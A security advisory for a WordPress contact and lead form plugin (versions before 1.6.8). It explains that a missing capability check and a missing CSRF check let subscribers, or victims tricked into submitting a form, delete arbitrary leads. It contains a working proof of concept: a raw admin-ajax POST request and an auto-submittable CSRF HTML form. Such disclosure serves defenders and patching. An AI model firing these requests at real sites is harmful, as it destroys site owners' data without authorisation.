Contact Form & Lead Form Elementor Builder < 1.6.8 – Subscriber+ Arbitrary Lead Deletion

Description

The plugin does not have capability and CSRF checks in the delete_leads_backend AJAX action, available to any authenticated users. As a result, users with a role as low as subscriber could delete arbitrary Leads. Attackers could also make any logged in users delete leads via a CSRF attack

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 38
Connection: close
Cookie: [any authenticated user]

lead_id=1&action=delete_leads_backend


<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="lead_id" value="3" />
      <input type="hidden" name="action" value="delete_leads_backend" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>